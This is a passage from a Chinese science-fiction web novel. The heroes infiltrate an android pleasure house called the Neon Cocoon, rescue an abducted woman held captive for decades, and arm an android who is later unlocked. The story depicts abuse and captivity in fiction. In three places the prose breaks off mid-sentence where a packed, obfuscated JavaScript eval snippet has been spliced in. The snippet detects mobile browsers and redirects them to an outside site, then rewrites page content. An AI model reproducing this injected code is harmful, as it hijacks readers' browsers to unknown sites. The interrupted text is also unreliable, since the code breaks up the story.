扬光处理完两个公子哥出来,丝毫没意识到他和另外两人失联了。第20层来得妙,有个好地方,一名宾客帮他定位了目标。 说是宾客,其实不那么准确,因为他刚刚被霓虹茧房除名了。 那人穿着破旧的工作服,被两名大卫型仿生人拖拽着扔到回廊。 “滚犊子!我给钱了!我给钱了!”他仰起头,扬光看清了他鼻青脸肿的五官,“那群大人做什么都可以,我怎么不行?我这个月的薪水全都交给你们了!” 他脸上还完好的部分也变了红色,连着他打结成一绺一绺的络腮胡,仿佛被人拔光了腮帮子上的胡子。 大卫们继续拽着他走,他骂骂嚷嚷的声音响彻回廊,赶在沉重的门合上之前,扬光靠着智能屏障神不知鬼不觉地靠近。一名大卫驻足回头,扬光硬着头皮解除屏障,尴尬地冲他们笑笑,晒出自己的通行证:“我就想试试你们是不是传说中最顶级的安保仿生人,试过了,特别棒,顶级。”他竖起大拇指。 然后堂而皇之地把通行证拍在感应器上,大摇大摆走进那个好地方。 失策了,这次不用偷偷摸摸啊。 你要问什么是好地方?那当然是能让扬光大展拳脚之处。 如果他也去过顶层,他一定会发现这里是顶层的降级版本。 霓虹灯实在太刺眼了。 他爱极了旧文明的书,在场的宾客大概就是书里提及的“红脖子”。 他左右张望了一会儿,穿过那些三大五粗言辞粗鲁的男人们,才能看到刚才被人墙挡住的吧台和曼妙的克里斯塔们。 一名克里斯塔被其他数名环绕着坐在吧台前,声音如清脆悦耳的风铃。 “这真是太可怕了,好在我们在第20层,有六名大卫保护我们。” 扬光挑眉,不动声色地抬眼看了看四周。 “放心吧,L030,那种登徒子,霓虹茧房不会再放他进来了!” 一堆同样的声音此起彼伏地附和着。 “确定好要喝什么酒了吗?尊敬的先生。”身边一道略显机械的声音响起,扬光别过头,对方是冲自己说的。 “白葡萄酒吧。”扬光心思压根不在这上面。 “霞多丽还是白诗南呢?” “什么?”扬光不敢相信自己的耳朵。 那个藏在黑暗中的身影自顾自地继续说:“如果您点白诗南,我们刚好还有配套的招牌海鲜料理,含酒精的套餐在第20层是最优惠的价格……” “谢谢你亚伦,我想这位先生喜欢霞多丽,单品。” 扬光闻到一阵脂粉的香气,稍微侧过脸就能看到克里斯塔一览无遗的领口。 8. 莉汶和L030 “这位先生,有没有兴趣请我也喝一杯?”她的声音充满蛊惑,扬光觉得自己好像被舔了一下耳根。 “L030小姐,非常荣幸能请你喝这一杯。”扬光镇定下来,绅士地微笑着朝酒保举起食指。 L030的眼神是木讷的——这不怪她——声音里满是惊喜: “天呐,您还能叫出我的名字。” “自然,”扬光等酒保上了两杯霞多丽,举起其中一杯朝她致意,“你有全场最特别的声音。” L030语带兴奋,显然,她十分高兴有人能指出她的不同。 “话说来可长了,这是一名尊贵的客人送我的礼物,他说这能让我与众不同。” L030轻触着自己的脖颈,如果克里斯塔型更晚问世,她的表情一定能再丰富一些。 扬光勾起一边的唇角漫不经心地听着,时不时浅啜几口。 “先生请我喝了酒,自然可以提一些要求,不知道先生喜欢玩什么花样的?” “什么花样?” “嗯,就是所有客人都会进来要求的那些,我们提供等值的服务。”L030顿了顿,又朝他靠近了点,被扬光不着痕迹地躲开。 “你把我想成什么衣冠禽兽了?我请你喝这杯,因为你值得,你该做的难道不是和我碰杯,然后喝了它?” 扬光把声音刻意压低了些,有种不似平时的成熟感。其实克里斯塔型不太懂这些外形之外的东西。他就是来了兴致想试一试,结果就是自己忍了很久才能不笑。 “当然,我十分乐意。” “不,”扬光纠正她,“你应该说:‘恭敬不如从命’。” 他将杯中的霞多丽一饮而尽,L030也仰头有样学样。 一旁一个肩膀有扬光两个厚的粗鲁大汉不耐烦地看了一眼他们这边,搂紧了自己的克里斯塔,不屑道:“暴殄天物。” 另一个同伴附和道:“一年的工资都在这了。” L030听见了,朝他们那边扭过头去,下一秒就被扬光捏着下巴转回来:“看着我,你不应该分心的。” “是我的错。” “好了,不如来和我说说你的事情。” “我的事情?”L030重复了一遍。 扬光保持着刚才的姿势,将手搭在L030的椅背上,L030风情万种地坐在原处,似乎很享受扬光包围她的姿势。 —————— 顶层的顾筵和艾拉零那边氛围就没有这么轻松旖旎了。 尤其是当顾筵发现那名跌落在地的女人开始流泪。 如果想让一切关于仿生人的设计都是为了自然人服务这个论调站住脚跟,仿生人没有眼泪就是最好的证明。 眼泪是贵族们最想回避的情绪,他们是来花钱的,可不是什么心灵导师。 女人哭得梨花带雨,被一名贵族揪住了脑后的头发。贵族把叼在嘴里的雪茄捏在指间,烟头沿着女人有些瘦弱但仍充满诱惑的轮廓上来回探寻着什么。 烟头的热浪暗示了女人什么,她开始剧烈地颤抖。 “你抖得这么厉害,不小心烫到你怎么办?” 顾筵紧锁着眉头看着这一幕,正要上前,刚刚挽着人类女伴的那名贵族靠近他耳边低声说: “我建议你少趟浑水,那位可不是你能惹得起的。” 顾筵脚下一顿,有些不适地站开些,身边忽而一阵风,是艾拉零。 “放开她。” 这三个字是尤勒公爵此生从来没听过的。他高高扬起下巴,傲慢地用鼻孔看着比他矮半个脑袋的女人。 奇怪,看气质挺像他们中心区的人,就是没认出来是哪家的女儿。 但看面相的确有些眼熟,好像在哪儿见过。 “只有在霓虹茧房,我更愿意和仿生人交流。她们听话。而人类女人——”他的目光滑过艾拉零,手指向地上的女人,“不听话,还哭。” 艾拉零仿佛困惑一般歪了歪头:“既然这样,你换一个。” 她上前拉起地上的女人。 “我懂了。”尤勒公爵轻声说,“每个人的爱好都不一样,你的爱好是当骑士。” 他优雅地行了个贵族礼:“这当然是被允许的,或许出了霓虹茧房后,我们能在外面聚一聚,我可以盛情邀请大家。” 他看向了艾拉零身后死死盯着他的顾筵,矜贵地微笑:“让女人冲在前面,可不是绅士的品格。” 顾筵耸耸肩:“你小看她了,没准我们真能在外面见见。但她的武器是不会离手的。” 他上前轻轻拍了一下艾拉零扶在匕首把柄上的手背,后者停留了很长时间才缓缓松开。 尤勒公爵维持着自己倨傲的表情:“谢谢提醒,我会好好安排人手款待。”说到最后,几乎是咬牙切齿。 艾拉零扶起女人,先一步朝会场的角落走去。 女人害怕地驻足,颤抖着双唇好像想说不,她凄惶诚恐地回看尤勒公爵,公爵露出一种嫌恶的表情:“滚吧,别继续破坏我的心情。” 这只是一场小风波,更大的动静他们都习以为常。没有人继续关注角落了,大家接着舞动。 “谢谢。”女人嗫嚅着。 艾拉零专心致志地察看她的伤口,丝毫没有搭话的意思,顾筵便开了口: “你叫什么名字?” 女人悲怆地抬头,想了很久,才轻声道:“莉汶,我几乎快忘了。他们都叫我N078。” 艾拉零好像没听到一样,抬起头果断道:“这里没有医药品的话得回去。” 这是艾拉零第一次提起“回去”,顾筵有些不确定她是要回哪里。 接着他就知道答案了,艾拉零转头对他说:“下去找扬光。” 这也是艾拉零第一次提起扬光的名字。 顾筵沉吟不语,半晌才开口:“你守着她,我去转一圈看看有没有别的消息。” 艾拉零没有应声,继续检查莉汶身上的新旧伤口。 “不!不!你别走!你走了他们又会……”莉汶情绪激动地想要抓住顾筵的裤脚,被他闪躲过扑了个空。 顾筵摆了摆手:“放心吧,她在这里,没人敢来。” 莉汶期期艾艾地看向一旁的艾拉零。 顾筵离开一定范围的几乎是瞬间,她就已经是全神戒备的状态,环视四周的眼中不带任何感情。 莉汶却觉得有杀气,更加瑟缩在角落中发抖。 过了仿佛有几个世纪,情绪缓和下许多,莉汶终于捂着胸口,小心地靠近了艾拉零一些。 “抱歉,刚才我实在太害怕了,有些歇斯底里。” 艾拉零置若罔闻。 “我叫莉汶,”她鼓起勇气又自我介绍了一遍,“还没有问过你的名字?” 艾拉零终于动了一下,她看向莉汶:“你是人类,你怎么会在这里陪客?” 莉汶被她直白的发问激得满脸发烫:“我……我……” “事实上我也很好奇。” 莉汶被突然多出来的声音吓了一跳,回身发现是顾筵回来了,才长舒一口气。 “被掳来的,我,我被掳来了四十年。”她打了个寒颤,像是想起了什么恐怖的回忆。 “我是家中的小女儿,粮食减产,家里渐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073043|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃不上饭,爸爸带着哥哥姐姐们去中心区务工了,家里只剩我和妈妈,妈妈去打麦子,两个男人经过,说要来讨点水喝。”莉汶喃喃道,“四十年了,四十年我都没忘!我给他们喝水,突然冲出来一辆马车,我被他们掳上去,妈妈追过来,他们朝她开了枪。” 莉汶哽咽着捂住脸恸哭。 “我对不起妈妈,对不起妈妈……” 女人被缠在这段梦魇里四十年,顾筵有些不忍,打断了她的哭泣。 “那两个男人带你来的这里?” 莉汶点点头:“但问这些有什么意义呢,他们十几年前就死了。” 艾拉零看了一下时间:“很抱歉打断你的回忆录,女士,但我们时间不多,跟我们走,还是继续留在这里。” 莉汶被她的话吓坏了:“我不可以走,我不可以,他们会打断我的腿的。” “恕我直言,”艾拉零看向她已经不太灵活的手腕,“我认为你留在这里腿也不太能保得住。” “不,不!他们会用治仿生人的法子治我!” 什么意思? 顾筵眯起眼睛。 —————— 扬光和L030聊得十分愉快,他已经快被这名风趣的仿生人女郎迷住了。 “这么说你下周就可以去顶层服务了?” “没错,我最近表现得不错,广受好评,客人们都很喜欢我。哦,除了刚刚那点小意外,但是大卫告诉我错不在我,评分依旧保持不变。虽然浪费了些时间没有拿到分数,但你承诺给我满分我真的太感谢了。” “这是我应该做的。我简直不敢相信自己如此幸运能在今天踏进霓虹茧房。我的意思是,早一天或者晚一天,我们都不一定能和彼此相遇。” “亲爱的,这正是我想对你倾诉的。”L030用那双木讷的双眼看向他,也许她以为自己的眼底有深情? 扬光在心里自嘲,仿生人可不会“以为”什么。 “为了庆祝我们的萍水相逢,我一定要送你一件好东西。” 扬光神秘地眨眨眼,把手伸进衣襟里,掏出一个什么东西,那礼物一定小巧玲珑,被他完全收在掌心。 “是贵族少女们所喜爱的吗?”L030合起掌心,放在腮边,努力做出一副娇羞的模样。配上她的声音,的确天衣无缝。 “呃——当然。” L030的动作显示她愈发期待:“首饰?听说最近流行玫瑰花形状的耳饰,对了,玫瑰花是什么样子的?还没有哪个克里斯塔收到成像过。” 扬光摊开手掌,L030凑过去想第一时间看清,或是说在她的系统里成像—— “这是……枪?” 她的声音恢复了平静,“先生第一次来,大概不知道我们不允许接触这些杀伤性武器。” 扬光仔细辨别她的反应,语气轻松开朗:“当然不允许,如果是你们每个人都可以得手的东西,我怎么可能献给独一无二的你?” “亲爱的,”L030单手捂嘴,“我没有想到我们才认识不到十分钟你竟对我如此的……” “好好藏好,你只是带着,又不用它。我听说会有讨厌的客人带你们单独进房间,如果那些蠢猪做了你不喜欢的事,你就可以拿出来吓吓他们。低层数的客人,讨厌的总是比较多。” “你太为我着想了,我喜欢这件独一无二的礼物……可我应该把它藏在哪里?” 藏?扬光不着痕迹地扫了她一眼。没听说过克里斯塔还有这种脑子? “有了!”L030用惊喜的声线说道,然后借吧台的遮掩在暗处用指甲划开了自己大腿的皮肉。 9. 舞池 扬光只觉得头皮一阵发麻,大腿同样的位置也像是被无形的利刃划开,也许还切断了自己的动脉,使不上力气,只得无力垂下,他甚至想象出了鲜血喷涌而出的样子。 但这个场景里没有一滴血,恐怖程度就没有那么高了。 他瞠目结舌地看着L030大腿的仿真皮肤间暴露出的黑洞洞的内部。 “这里,不会被发现。” 那把枪袖珍得可以,甚至能在那样一个小空间里不移动分毫,还能严丝合缝地卡进某一个结构,不会轻易晃动。 L030轻盈地从吧台椅上跃下,及膝的裙摆遮住了狰狞的裂口。 “我会缝起来的,这都是小损伤,谢谢你,这是非常重要的礼物。”她拉起扬光的手,仰着头看他,“迄今为止,你是最重视我的人,先生,能告诉我你的名字?” 扬光顺势将她拉入舞池。 这里吵闹,他附在L030的耳边大声喊:“你刚刚说的玫瑰耳饰,我也送你啊。” 仔细辨认出扬光的话,L030在舞步间轻快地跳了几下。 扬光在通行证发热时退出了舞池,同时婉拒了L030的索吻。 他极速移动到处理费伦小子的房间,镇静剂给得够足,他不担心那两人中途醒来,只是低头发现顾筵一直没回复他消息时他忍不住咒骂了句“见鬼”。 费伦家两个小子果然不省人事,他动作粗鲁地掏了掏两人的口袋,顾筵和艾拉零的通行证没有被换走,说明他们还没回。 “坑我啊大哥?”他正愁不知道把通行证往哪里藏,身后的房门传出缓慢低沉的咔嗒声,令他僵在原地。 手不自觉地想去摸后腰那把枪,才发现刚刚那把随身带的已经送给L030了。 “啧。”他躲到暗处,紧紧盯着门口。 如果进来的是大卫,要如何脱身? 事已至此,顾筵也别怪他不仗义。 他无声地抽出自己的腰带,打算见机行事,房门吱呀地应声而开。 看到顾筵那张他挫骨扬灰也记得的脸后才缓过劲。 “你吓死老子了,草。”他终于松弛下来,擦了一把汗,才朝从顾筵身后现身的艾拉零翻了个白眼,向他们走去。 等艾拉零身后又冒出个人来,他才意识到有什么事情好像脱离轨道了。 “裤腰系系好吧。”顾筵挡在两个女人前面,用眼神给了他一个警告。 “你如果只带一个回来,她本来是看不懂什么的。”扬光没好气地整理着装,他冲着艾拉零问,“你又惹了什么事?这又是谁?看着和克里斯塔八竿子打不着吧?” “她跟我们一起走,要治伤。”艾拉零简短回应。 扬光不可置信地看着她:“问过我意见了吗?” “现在不是说这个的时候。”顾筵把费伦的通行证塞回原处,没有摸到自己的,又转身向扬光伸手。 —————— 两名大卫锁定了顾筵几人的位置,站在门外毕恭毕敬地敲门。 不出三秒,顾筵等人就从里面鱼贯而出,大卫们按照惯例扫描过室内之后,准备消除房间的使用记录,标上“待清扫”标签。 “等等。”顾筵突然发声,“我和我女人一会儿还想在这里待一会儿,这个房间留给我们。” 正说着,艾拉零将手攀上他的肩,仿若无骨般依在他肩头。 “了解了,先生。”大卫取消了标记。 扬光在他们身后朝艾拉零嗤笑一声,无声启唇:“得亏是仿生人,你的演技烂透了。” A209恭候多时,直接以扬光没有和她做这笔交易为由将他请离,扬光只能臭着脸去外头等着。 “先生,请你就在原地等候,不要随意走动。” 扬光刚抬脚身后的大卫就发出警告。 “你确定自己接收过这个指示?你们这门年久失修了,漏音,让我听去可不太好。我这叫主动避嫌。”他背对着大卫挥挥手,“拦我之前要不要先进去请示一下?我可是霓虹茧房的合规客人。” 等顾筵和艾拉零回到刚才的房间时,扬光已经在外面等了好一会儿了。 “开门。”他气急败坏冲着两人嚷嚷,“什么玩意儿啊说不能识别我的通行证。” 大卫尽职尽责,顾筵说了只有他和艾拉零要住,果真只留了两个人的信息。 几人离开霓虹茧房时,外面已经关灯了。第20层似乎出了什么意外,顾筵开门看见他们统一往楼上行动。 “走吧。” 扬光不耐烦地扛起有些醉醺醺的少女,被她绑在腿上的匕首硌了一下,啧地一声换了一边:“来了。” 他实在讨厌霓虹茧房的一层,如今还带了个累赘。又是那种令人生厌的将死之人的眼神黏在他身上。 暗骂两声,若无其事扬声说:“你们这儿酒精度数还挺高啊。” 依然是一声声哀叹,无人回应。 “你在看什么?恩佐。”一个尖声细气的声音怪腔怪调地问道。 叫恩佐的男人瘦得不似人形,他缓缓抽了一口烟,才用他那仿佛锯木头一样的沙哑声音道:“看那个女的,来的时候明明是另一个男的抱着她的。” 尖声音:“别管那些上等人,一个比一个玩得花儿,倒是你,再给我抽一根吧……” 重新回到中心区,他们一路无言。 扬光十分抗拒将这个来历不明的女人带回自己的地盘。 “我要离开一会儿,你们先走,我会追上去。”顾筵回头望了很久,只留了这句话。 “没出戏吗?去接你的‘小情人’?她无法无天得很,可不需要你帮忙。” 顾筵没回答,消失在黑暗里。 —————— 原以为霓虹茧房的第15楼到第20楼突然断电是出了什么大乱子,没想到一路排查下来居然只是酒液浸在回廊拐角的电线导致短路。 “早就说了不能用这种旧东西,大人们一直不肯拨款给我们翻修……” “当然不能,A209,别忘了霓虹茧房是不夜城,不可以歇业的。” 享受着T022为她重新点上的雪茄,A209将眼神落在与她一模一样的那张脸上。 她甚至眨了眨眼睛。 “你也想尝一尝吗?” “不了,心理作用只对你有影响,亲爱的。” 大卫在外面候着。 “出什么事了?” “大人,有件事情需要汇报。” “什么事情?顶楼的大人听说了这场风波所以决定帮我们更换新设备!”A209开怀地展开双臂,像是要拥抱全新的霓虹茧房。 “我们在短路电线的附近找到了碎片残渣,有人将装着酒液的高脚杯绑在半空中,墙面的微弱震动将绳索上的酒杯倾倒,酒液就会刚好浸湿电路。” “大卫,你当克里斯塔都是傻子么?电路怎么会裸露在外面?” “这正是我要汇报的,大人。有人将电路板打开了。” A209闻言,将雪茄塞进T022手中,后者的手心都灼黑了。 她站起来,右手的拇指和食指轻轻托着自己的下巴,左手手腕则托在右手的手肘下。 “哦,这下我可需要好好想一想。”她将“想”这个单词说得特别重。 恩佐还在吞云吐雾,他好像永远有抽不完的烟管,这真让第一层的人羡慕。 等明天,明天儿子将这个月的薪水拿回家,他可以买更好的,当时候再羡慕我吧,你们这群土鳖。 他得意洋洋地想着,转头对上了一双睁大着直视他的眼睛。 就算那双瞳孔如宝石般晶莹剔透,这场景下也实在太恐怖了。 他终于意识到眼睛的主人倒吊在房梁上与他对视,那个女人,他见过。 不久前她才刚刚醉醺醺离开霓虹茧房才对,为什么又会出现在这? 他这才注意到她的穿着,已经不是刚才那身便于行动的战斗服,而是一身纱裙。 天呐,和克里斯塔一样的纱裙? 不规则的裙摆堆在腘窝和房梁之间充当软垫,大概能让她这个姿势不那么疼吧。 恩佐这才发现他已经分神了,女人突然动了,他吓得一哆嗦,生怕她直接把自己的脑袋拧下来。 可她只是缓缓将食指伸到自己的嘴边。 “嘘……” 现在连最后一点余光都熄灭了,此刻的废墟伸手不见五指。 顾筵努力适应着黑暗,沉着地等待视野恢复一些再行动。 前方传来沉闷的脚步声,踏着沙地一点一点靠近他。 基地外面的扬光还在咒骂着,他毕生所学的所有脏话都掏出来了。 他拒绝带着莉汶走迷宫,就算莉汶酒意正盛,他连蒙着眼的莉汶都不愿意带。 “你很讨厌她吗?”刚刚为了骗过所有人,她当真喝了一整瓶威士忌,此刻正晕晕乎乎坐在冰冷的钢板上醒酒。 “到处给我惹事,我不能讨厌吗?” “请问你指的是将我救出来这件事吗?” 她的酒劲还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073044|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,但条理清晰: “那你不可以讨厌她,顾先生也同意了的。” —————— 一周后的顶层酒会,L030期待已久,她当真精心打扮,却没有和其他人一起直接去顶层。 “没想到你真的来了!” 一周不见,扬光没怎么变样,就是最近似乎没怎么刮胡子,腮旁早就布满胡茬。 “我承诺过的,我会做到。”他笑了笑,递上一个首饰盒。 深红色合金雕刻成花瓣,轻盈得仿佛微风拂过就能迎风而动。中心镶嵌着一颗微微闪烁的星钻,宛如书中形容的那些夜空中明灭的星辰。 “天呐,这就是玫瑰?它真是太美了!” “我想亲自为你戴上。”扬光垂着眼看她,眼神有些冷漠。 “当然,我很荣幸。”L030轻轻侧过脸,将饱满的耳垂展示给他。 他没有过多的甜言蜜语,认真地专注着手上的动作。 “我都不知道如何感谢你才好。”L030轻轻触碰着这份特别的礼物。 扬光漫不经心地道:“什么都不需要,好好享受这个夜晚就好。你有些耽搁了,我想我能帮你走个捷径。”他眨眨眼,“截停一部直升梯,用不了多久就当会场了。” “噢,太感谢了,但你知道的,我们都要用同一部直梯上去,有例行的安全检查。” “人类宣示主权的鬼把戏,”扬光白了一眼,“你们能有什么威胁,他们再清楚不过了,却还是这样欺辱你们……” “你能这么说我真是太感动了,遇见你是我最幸运的事情。” 三十分钟后,扬光顺利离开霓虹茧房。 “确认过了,她随身带着。” 对方说了句什么,扬光默默挂断通信装置。 据L030说,这个隐蔽的出口就连克里斯塔也不是所有人都知道。以至于听到有人出声唤他名字,他第一个反应是打了个冷颤。 昂起头,霓虹折射的外部光朦胧斑斓,映照出伫立在高高的废墟上正在俯视他的艾拉零。 “干嘛?”他警惕道。 这不可能。这个计划暴露了?顾筵告诉她的? 下一秒,艾拉零闪现在他身后,用一股不容拒绝的力道将他死死按倒在地。 他还没做出反应来,就先尝到了沙土的咸苦,正要发作只觉得头皮一阵发麻。 一发高密度霰弹擦过他站立时脑袋所在的位置,将艾拉零几秒前伫立于顶的废墟拦腰轰出个大洞。 “看来你的小情人摆了你一道。”艾拉零平静地陈述。 “起开。”扬光剧烈挣扎起来,被艾拉零拎起后领迅速移动到掩体后面。 “你勒得我……快死了……”他努力把手挤进喉结和领口间,得以给自己撑开一点喘息的余地。 “你也发现你的体能有些拖累我的行动了,这很好,我接受你的道歉。” 谁道歉了?扬光涨红了脸,根本没有还嘴的余力。 不知为何,攻击突然停止。 “你们的计划奏效了?”艾拉零问。 “我是不会说半个字的。” “你不用说一个笔画,我也拿到了消息到这里来救了你一条命。” “那你想要怎样?该不会以为我傻乎乎地觉得你信奉保护人类是你的使命吧?” “我听说人类会承人情,既然你欠我这个人情,就不该对我这个态度。” 323的舞池依然优雅别致,L030一登场便引得众人惊叹。 她明白扬光的意思了,她真的很享受这一刻。 舞会正式开场,克里斯塔们从容不迫地在舞池中旋转,等待哪位贵族的目光落在她们身上。 与此同时,千里之外的一间昏暗的房间,显示器的光亮到刺眼,一条条代码正在飞速运行。 ——L030微笑着,旋转着,直到有人轻轻触碰到她的后腰。她感到有些被打扰了。 代码运行到最后,跳出来一个弹窗警告: 此操作不可撤回,是否继续运行? ——一名笑得猥琐的秃顶男人正用一种奇怪的眼神盯着她,如果她是自然人,那一定会觉得汗毛直立。但L030只是停下舞步,站定在原地。 一只带着满手背密密麻麻的割伤烫伤的伤痕的宽大手掌按下了Y键。 限制解除。 限制解除。 限制解除。 秃顶男人笑不出来了。因为面前的克里斯塔冷着脸撕开了自己大腿上的覆膜仿真皮肤。 10. 扬光 空气中弥漫着铁锈的腥甜混合着烧焦的味道,扬光被裹在一个温暖的怀抱中。 “醒了?”是妈妈,她说话总是轻声细语,眉毛弯弯的,小伙伴们都很羡慕他。 因为只有他打翻了装煤炭的篓子没被揍过。妈妈只会笑着帮他擦干净已经变成煤球一样黢黑的脸,再陪他一起把煤块捡回去。 “嗯,妈妈我自己走。” 这一次妈妈的声音好像没有那么从容了,有些发涩。 “阿光还想不想玩捉迷藏?” “捉迷藏?”扬光有点困惑了,“现在吗?” “嗯,阿光总是和朋友们一起玩,还没有和妈妈一起玩过,对不对?” 扬光皱起小脸:“可是我们不是要去找爸爸吗?” “爸爸要关了灯才会下班出去门口接我们,我们边玩边等好不好?” 妈妈很少和他提要求,他还是很高兴的,说明妈妈也是他的朋友。 “那好吧,我就陪你玩一会儿。妈妈数数,我去躲。” 他挣扎了一下,想让妈妈放下他,可妈妈得太紧了。 “妈妈,我痛。” “对不起,对不起,阿光。” “妈妈数数,我去躲。”他又说了一遍。 妈妈笑了,但好像还在哭。 “你从小那么顽皮,总是乱跑让妈妈找好久,这次换你找妈妈好不好。” 他很少当“军士”的,想了又想,慢吞吞道:“那好吧,听妈妈的。” 妈妈的手凉凉的,她把扬光放下了,温柔地拍拍他的后背:“快躲到石头下面数,数久一点,妈妈第一次躲,给妈妈多一点时间。数到两百,好不好?” 好吧好吧,偶尔也需要顺着妈妈一点,不然爸爸老说他惹妈妈生气。 那就数久一点吧。 “一,二,三,……” 妈妈的脚步声走得有点远,时快时慢的。看来她很想赢,不然不会躲那么远。 “四十七,四十八,四十九,……” 都已经听不见妈妈的声音了,她躲好了吗?嘈杂的声音太多了,天上还有大炮在到处飞。辰辰说那叫轰炸机,他也不知道是什么东西。 “一百一十一,一百一十二,一百一十三,……” 扬光的眼皮开始打架了。妈妈耍赖,明明知道每次哄他睡觉只要数到一百他一定会睡着。现在他也已经快强撑不下去了。 好困哦…… 有人在他酣睡中坚持不懈地拍他,拍了好久,好久。 他有点烦躁了。 我睡得正香呢。他想。 可转瞬他又意识到有什么不对劲。 我为什么睡在这里? 扬光迷迷糊糊睁开眼睛,是一个穿着军队制服的壮硕军官,身边还有个和他差不多大的孩子。 “姨,他活着的。” 扬光最先听到的是那个孩子的话。 “顾筵,去放信号弹。” 孩子跑开了。被小孩称做“姨”的军官抚上了他的额头,手掌粗糙温暖,和妈妈的完全不一样。 “你是前面哨所里哪个士兵的孩子吗?” 哨所?那是爸爸工作的地方。 “爸爸在,爸爸在打仿生人,保护我和妈妈。” “那你的妈妈呢?” “妈妈是伤退哨兵。”他其实还不明白伤退具体是什么意思,总是就是妈妈可以一直在家陪他。 军官侧过脸去按住耳边的通讯器,低声说了句什么,转过头来看他。 这个眼神太熟悉了,他从小梦到大,长大了之后他才知道这种眼神叫怜悯。 扬光很久没做这个梦了。从梦境中剥离,目之所及是他熟悉的昏暗的基地。 这样很好,熟悉,有安全感。 有人敲他的房门。 莉汶怯生生地探了个脑袋进来:“我做了饭。”她脸颊憋红了也只够冒出这句,然后迅速关门飞奔而去。 扬光出现在众人面前是脸黑得像神湾以西的煤矿井。 “这里只有罐头,你做的哪门子饭?别搞乱我的基地。” 他没看到罐头,只有一口坩锅咕噜咕噜冒着泡。 “我给她生的火,有问题吗?”顾筵在一边敲打着键盘,抬头看了他一眼。 是蔬菜汤的味道。 “我和艾拉在杂物间找到了干制蔬菜,虽然没有写年份,但好歹没长霉。你这里够干燥的。” 莉汶坐在艾拉零旁边,似乎是在看她调试西弗斯。艾拉零并没有驱赶她。 见他出来了,莉汶积极地去取碗勺来舀汤。 合着就我一个大恶人呗。扬光后槽牙都快咬碎了。 “吃吧,顶多变异,死不了,我会急救。” 他冲莉汶恶劣地笑了笑,后者拿着汤勺不知所措地端着碗尴尬地立在原地。 “他不吃给我。” 莉汶回头,艾拉零冲她伸出手。 这句话就像一根导火索,扬光的注意力成功地完全转移到了艾拉零身上,他在艾拉零和西弗斯之间来回扫了一眼,嗤了一声。 “又在(月支)解你的‘朋友’了,当你的朋友真幸运。” 一拳打在棉花上,艾拉零用酒精给手消过毒,优雅地持勺喝汤。 她没有坐在阴暗的废旧基地,而是在中心塔顶的花园餐厅。 顾筵叫他:“我们和霓虹茧房彻底断了联系了,我在确认A209给的通行证还能不能用。最近几天最好不要轻举妄动,中心塔的认证系统正在洗牌。” 他朝艾拉零看过去,她在埋头专心喝汤。 谈话的内容似乎也有些触线,扬光下意识地看了一眼莉汶。 莉汶则是好奇地在几人之间来回张望着。艾拉零帮她敷好了伤,但那些陈旧的伤疤依然醒目,她也没有想可以遮盖。 “之前我在顶层舞池打探到一点消息,你没有兴趣吗?”顾筵对艾拉零道。 其他两人也一起看艾拉零,艾拉零喝完了最后一口汤。 “好喝,谢谢。” 扬光发现了,她极其讲究先后顺序。 艾拉零这会儿才朝向顾筵:“你可以说,这是你的自由,但我救他的人情我不接受用这‘一点’消息还。” 扬光听明白了:“捞我一把你以为可以一直把我踩在脚底下了?” 顾筵抬手阻止了他继续往下说:“洛瑞博士被非正式扣押,神经网络至今没有连通这个消息。他们大概只在霓虹茧房谈论,内容不会被外传。” 艾拉零回到了自己的工作中,这次她直接将西弗斯K902的圆环外壳完整地拆卸下来。 “理论上非正式扣押的最长时限是48小时,但我查看过中心塔出口的监控画面,博士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073045|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有出来过。” “我以为只查出口是门外汉才会做的事情。”艾拉零道。 “等等,”扬光走上前一步,“你是在挖苦我们?” “我知道的暗道有三个,也全部查过了,如果你有其他相关信息,诚邀共享。” 艾拉零卸下了西弗斯的言和感应器。 “时间有限,目前我拿到的情报只有这些。”顾筵等艾拉零的回应,“可以说说你的看法,或诉求,什么都好。” 艾拉零直截了当:“我们必须进中心塔。” “因为博士?” “因为西弗斯。”她举起刚刚拆下来的言和感应器。 “说真的,能不能把这人赶出去以后再谈?她在这里起到一个什么作用?会议记录?” 扬光不耐烦地冲莉汶嚷了句。 “我还有话要问她。”顾筵似乎终于想起了这号人,“像你这样的人类,霓虹茧房还有多少?” 就霓虹茧房对莉汶的设防程度而言,她绝不特殊。 “我也不清楚……新面孔很多,但我通常不会见到第二次……”莉汶回想起霓虹茧房就会止不住发抖。 她握紧了拳头,半晌才缓缓松开,轻声道:“不听话的话,就是有故障的克里斯塔,会被处理的。有些大人不喜欢克里斯塔,喜欢……喜欢……” “人类?” 莉汶咬紧了下唇,眼泪在眼眶里打转。 